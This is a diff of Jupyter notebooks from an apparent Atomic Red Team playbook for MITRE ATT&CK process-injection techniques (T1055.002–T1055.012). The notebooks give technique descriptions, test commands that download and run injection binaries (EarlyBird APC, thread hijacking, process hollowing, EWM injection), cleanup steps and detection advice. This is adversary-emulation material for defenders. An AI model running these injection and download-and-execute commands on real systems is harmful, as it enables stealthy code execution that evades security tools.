windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Portable Executable to inject must exist at specified location (#{exe_binary})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1055.002\\bin\\RedInjection.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1055.002\\bin\\RedInjection.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.002/bin/RedInjection.exe\" -OutFile \"PathToAtomicsFolder\\T1055.002\\bin\\RedInjection.exe\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "51f44e7d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.002 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "d9d28e4d", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nStart-Process \"PathToAtomicsFolder\\T1055.002\\bin\\RedInjection.exe\"\nStart-Sleep -Seconds 7\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9414dc57", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.002 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "d81422ea", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8288b22a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.002 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "ab364c77", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -22,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1055.003.ipynb b/playbook/tactics/defense-evasion/T1055.003.ipynb index b7685fe3..d53fc737 100644 --- a/playbook/tactics/defense-evasion/T1055.003.ipynb +++ b/playbook/tactics/defense-evasion/T1055.003.ipynb @@ -2,53 +2,39 @@ "cells": [ { "cell_type": "markdown", - "id": "ff24c843", + "id": "53786cc0", "metadata": {}, "source": "# T1055.003 - Thread Execution Hijacking\nAdversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "1318773d", + "id": "72efd27c", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "8c44dca5", + "id": "d98f0921", "metadata": {}, "source": [ "### Atomic Test #1 - Thread Execution Hijacking", "This test injects a MessageBox shellcode generated by msfvenom in Notepad.exe using Thread Execution Hijacking. When successful, a message box will appear with the \"Atomic Red Team\" caption after one or two seconds. ", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$notepad = Start-Process notepad -passthru\nStart-Process $PathToAtomicsFolder\\T1055.003\\bin\\InjectContext.exe```" + "```powershell\n$notepad = Start-Process notepad -passthru\nStart-Process \"$PathToAtomicsFolder\\T1055.003\\bin\\InjectContext.exe\"\nStart-Sleep -Seconds 5\nStop-Process $notepad.id```" ] }, { "cell_type": "code", "execution_count": null, - "id": "65f048e8", + "id": "b27779ab", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a4db3971", - "metadata": {}, - "source": "#### Cleanup: \n```powershell\nStop-Process $notepad.pid```" - }, - { - "cell_type": "code", - "execution_count": null, - "id": "22b8d345", - "metadata": {}, - "outputs": [], - "source": "Invoke-AtomicTest T1055.003 -TestNumbers 1 -Cleanup" - }, - { - "cell_type": "markdown", - "id": "d1a88d50", + "id": "f9e5cf3c", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -56,13 +42,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1055.004.ipynb b/playbook/tactics/defense-evasion/T1055.004.ipynb index 789d1cf4..cfdc57e2 100644 --- a/playbook/tactics/defense-evasion/T1055.004.ipynb +++ b/playbook/tactics/defense-evasion/T1055.004.ipynb @@ -2,50 +2,120 @@ "cells": [ { "cell_type": "markdown", - "id": "3760b3ff", + "id": "aa6cc723", "metadata": {}, "source": "# T1055.004 - Asynchronous Procedure Call\nAdversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "3287de42", + "id": "ecdd89fc", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "a7e6b1b2", + "id": "b4bd5113", "metadata": {}, - "source": "### Atomic Test #1 - Process Injection via C#\nProcess Injection using C#\nreference: https://github.com/pwndizzle/c-sharp-memory-injection\nExcercises Five Techniques\n1. Process injection\n2. ApcInjectionAnyProcess\n3. ApcInjectionNewProcess\n4. IatInjection\n5. ThreadHijack\nUpon successful execution, cmd.exe will execute T1055.exe, which exercises 5 techniques. Output will be via stdout.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{exe_binary} must be exist on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.004/bin/T1055.exe\" -OutFile \"PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe\"\n\n```" + "source": "### Atomic Test #1 - Process Injection via C#\nProcess Injection using C#\nreference: https://github.com/pwndizzle/c-sharp-memory-injection\nExcercises Five Techniques\n1. Process injection\n2. ApcInjectionAnyProcess\n3. ApcInjectionNewProcess\n4. IatInjection\n5. ThreadHijack\nUpon successful execution, cmd.exe will execute T1055.exe, which exercises 5 techniques. Output will be via stdout.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{exe_binary} must be exist on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.004/bin/T1055.exe\" -OutFile \"PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "870ea4f0", + "id": "2e02f8ae", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9ad1b5ea", + "id": "fb356f14", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1055.004\\bin\\T1055.exe\n```" + "```command_prompt\n\"PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "e1319a70", + "id": "1b773ce1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a4acdecd", + "id": "c0ff5861", + "metadata": {}, + "source": [ + "### Atomic Test #2 - EarlyBird APC Queue Injection in Go", + "Creates a process in a suspended state and calls QueueUserAPC WinAPI to add a UserAPC to the child process that points to allocated shellcode. \nResumeThread is called which then calls NtTestAlert to execute the created UserAPC which then executes the shellcode.\nThis technique allows for the early execution of shellcode and potentially before AV/EDR can hook functions to support detection.\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)\n- References: \n - https://www.bleepingcomputer.com/news/security/early-bird-code-injection-technique-helps-malware-stay-undetected/\n - https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055.004\\bin\\x64\\EarlyBird.exe -program \"C:\\Windows\\System32\\werfault.exe\" -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "54d4e1cf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.004 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "f8c098f2", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue\nStop-Process -Name \"werfault\" -ErrorAction SilentlyContinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7166dcf8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.004 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "7c5ec91f", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Remote Process Injection with Go using NtQueueApcThreadEx WinAPI", + "Uses the undocumented NtQueueAPCThreadEx WinAPI to create a \"Special User APC\" in the current thread of the current process to execute shellcode. \nSince the shellcode is loaded and executed in the current process it is considered local shellcode execution.\n\nSteps taken with this technique\n1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write\n2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space\n3. Change the memory page permissions to Execute/Read with VirtualProtect\n4. Get a handle to the current thread\n5. Execute the shellcode in the current thread by creating a Special User APC through the NtQueueApcThreadEx function\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)\n- References:\n - https://repnz.github.io/posts/apc/user-apc/\n - https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html\n - https://0x00sec.org/t/process-injection-apc-injection/24608\n - https://twitter.com/aionescu/status/992264290924032005\n - http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1055.004\\bin\\x64\\NtQueueApcThreadEx.exe -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ba6b5ff4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.004 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "d4eff477", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2e36da8d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.004 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "5afb4842", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -53,13 +123,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1055.005.ipynb b/playbook/tactics/defense-evasion/T1055.005.ipynb index c89a2993..80526e2d 100644 --- a/playbook/tactics/defense-evasion/T1055.005.ipynb +++ b/playbook/tactics/defense-evasion/T1055.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d2b7d198", + "id": "cf8e55ed", "metadata": {}, "source": "# T1055.005 - Thread Local Storage\nAdversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "13ac9217", + "id": "85174078", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "40c13e42", + "id": "34ed277a", "metadata": {}, "source": "## Detection\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1055.008.ipynb b/playbook/tactics/defense-evasion/T1055.008.ipynb index 7cd026de..82d28f1a 100644 --- a/playbook/tactics/defense-evasion/T1055.008.ipynb +++ b/playbook/tactics/defense-evasion/T1055.008.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "563deef1", + "id": "95a103c4", "metadata": {}, "source": "# T1055.008 - Ptrace System Calls\nAdversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "8abc616d", + "id": "123f0e80", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "7f1e5d06", + "id": "6727dae8", "metadata": {}, "source": "## Detection\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1055.009.ipynb b/playbook/tactics/defense-evasion/T1055.009.ipynb index be15fe27..29613230 100644 --- a/playbook/tactics/defense-evasion/T1055.009.ipynb +++ b/playbook/tactics/defense-evasion/T1055.009.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "200e9dcb", + "id": "55d5ca71", "metadata": {}, "source": "# T1055.009 - Proc Memory\nAdversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "57b49324", + "id": "96133a94", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "aaf68907", + "id": "8459e08e", "metadata": {}, "source": "## Detection\nFile system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1055.011.ipynb b/playbook/tactics/defense-evasion/T1055.011.ipynb index 4a7d2af3..f448b065 100644 --- a/playbook/tactics/defense-evasion/T1055.011.ipynb +++ b/playbook/tactics/defense-evasion/T1055.011.ipynb @@ -2,19 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "170ded41", + "id": "2aff0daf", "metadata": {}, "source": "# T1055.011 - Extra Window Memory Injection\nAdversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "fe34e28b", + "id": "7d44b68b", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "371bf311", + "id": "405c0541", + "metadata": {}, + "source": "### Atomic Test #1 - Process Injection via Extra Window Memory (EWM) x64 executable\nHooks functions of main process to inject a payload via Extra Window Memory (EWM) injection technique\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: T1055.011x64.exe and payload must exist on disk at specified location (#{exe_binary} and #{payload_file})\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1055.011\\bin\\T1055.011_#{arch}.exe) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1055.011\\bin\\T1055.011_#{arch}.exe) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/T1055.011_x64.exe\" -OutFile \"PathToAtomicsFolder\\T1055.011\\bin\\T1055.011_#{arch}.exe\" -UseBasicParsing\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/payload.exe_x64.bin\" -OutFile \"PathToAtomicsFolder\\T1055.011\\bin\\payload.exe_#{arch}.bin\" -UseBasicParsing\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "137f930f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.011 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "73b6728a", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nPathToAtomicsFolder\\T1055.011\\bin\\T1055.011_#{arch}.exe```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b736b7e9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.011 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "131458b3", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nGet-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9745a516", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1055.011 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d780975a", "metadata": {}, "source": "## Detection\nMonitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)" } @@ -22,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1055.012.ipynb b/playbook/tactics/defense-evasion/T1055.012.ipynb index 8eb7ae84..d3b95a55 100644 --- a/playbook/tactics/defense-evasion/T1055.012.ipynb +++ b/playbook/tactics/defense-evasion/T1055.012.ipynb @@ -2,67 +2,67 @@ "cells": [ { "cell_type": "markdown", - "id": "b4cae4db", + "id": "9ca0ead0", "metadata": {}, "source": "# T1055.012 - Process Hollowing\nAdversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. " }, { "cell_type": "markdown", - "id": "fd49682a", + "id": "cd32d562", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "8b9c5efe", + "id": "ea067f4e", "metadata": {}, "source": [ "### Atomic Test #1 - Process Hollowing using PowerShell", "This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.\nCredit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\n. $PathToAtomicsFolder\\T1055.012\\src\\Start-Hollow.ps1\n$ppid=Get-Process explorer | select -expand id\nStart-Hollow -Sponsor \"C:\\Windows\\System32\\notepad.exe\" -Hollow \"C:\\Windows\\System32\\cmd.exe\" -ParentPID $ppid -Verbose\n```" + "```powershell\n. \"$PathToAtomicsFolder\\T1055.012\\src\\Start-Hollow.ps1\"\n$ppid=Get-Process explorer | select -expand id\nStart-Hollow -Sponsor \"C:\\Windows\\System32\\notepad.exe\" -Hollow \"C:\\Windows\\System32\\cmd.exe\" -ParentPID $ppid -Verbose\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "48ab51c0", + "id": "5d4cfa7e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1055.012 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "1ef081cd", + "id": "d2c9b91e", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -Name \"notepad\" -ErrorAction Ignore\n```" 